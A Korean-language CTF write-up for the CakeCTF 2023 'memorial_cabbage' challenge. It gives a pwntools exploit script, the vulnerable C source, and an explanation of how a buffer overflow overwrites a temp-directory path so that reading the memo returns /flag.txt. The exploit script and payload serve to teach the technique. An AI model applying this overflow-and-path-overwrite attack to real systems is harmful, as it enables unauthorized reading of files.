[2023CakeCTF] memorial_cabbage
Exploit code
from pwn import *
context.log_level = 'debug'
p = remote('ip address', 9001)
p.sendlineafter('> ', b'1')
p.sendlineafter('Memo: ',b'A'*4080 + b'/flag.txt'+ b'\x00')
p.sendlineafter('> ', b'2')
p.interactive()
WriteUp
주어진 바이너리의 소스코드는 다음과 같다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define TEMPDIR_TEMPLATE "/tmp/cabbage.XXXXXX"
static char *tempdir;
void setup() {
char template[] = TEMPDIR_TEMPLATE;
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
if (!(tempdir = mkdtemp(template))) {
perror("mkdtemp");
exit(1);
}
if (chdir(tempdir) != 0) {
perror("chdir");
exit(1);
}
}
void memo_r() {
FILE *fp;
char path[0x20];
char buf[0x1000];
strcpy(path, tempdir);
strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt");
if (!(fp = fopen(path, "r")))
return;
fgets(buf, sizeof(buf) - 1, fp);
fclose(fp);
printf("Memo: %s", buf);
}
void memo_w() {
FILE *fp;
char path[0x20];
char buf[0x1000];
printf("Memo: ");
if (!fgets(buf, sizeof(buf)-1, stdin))
exit(1);
strcpy(path, tempdir);
strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt");
if (!(fp = fopen(path, "w")))
return;
fwrite(buf, 1, strlen(buf), fp);
fclose(fp);
}
int main() {
int choice;
setup();
while (1) {
printf("1. Write memo\n"
"2. Read memo\n"
"> ");
if (scanf("%d%*c", &choice) != 1)
break;
switch (choice) {
case 1: memo_w(); break;
case 2: memo_r(); break;
default: return 0;
}
}
}
매 실행마다 패턴에 맞는 temp주소 값이 생성되어 tempdir에 위치하게 된다. 그리고 read 및 write함수에서 strcpy를 통해 path에 tempdir값을 복사 후, 그 값을 사용한다.
만약 write함수에서 버퍼 오버플로우가 발생해 tempdir값을 변조하는 것이 가능하다면? 원하는 데이터를 read함수를 통해 불러올 수 있게 될 것이다. 게다가 오버플로우의 끝을 null로 처리해 뒤에 붙는 /memo.txt가 오지 않도록 할 수도 있다.
때문에 중요한 것은 memo_w에서 buf와 tempdir의 offset을 구하는 것이다.
offset
소스코드를 잘 보면 memo에서 tempdir을 불러온다.
이때의 값을 잘 볼수 있다면 tempdir의 위치를 알아낼 수 있을 것이다. b *memo_w+118 을 통해 rsi에 저장된 값이 무엇인지 살펴본다.
다음으로 buf에 저장된 값을 확인할 수 있다.
python을 활용해 이들 사이의 offset을 구해본다.
즉 10진수 4080만큼의 차이가 난다. 그러면 다음과 같은 페이로드를 구상해볼 수 있다.
payload = b'A'*4080 + b'/flag.txt' + b'\x00'
이를 write의 buf에 보낸다면 tempdir에 /flag.txt가 덮어씌워지고, 이 상태로 read를 한다면 /flag.txt를 읽어오게 될 것이다.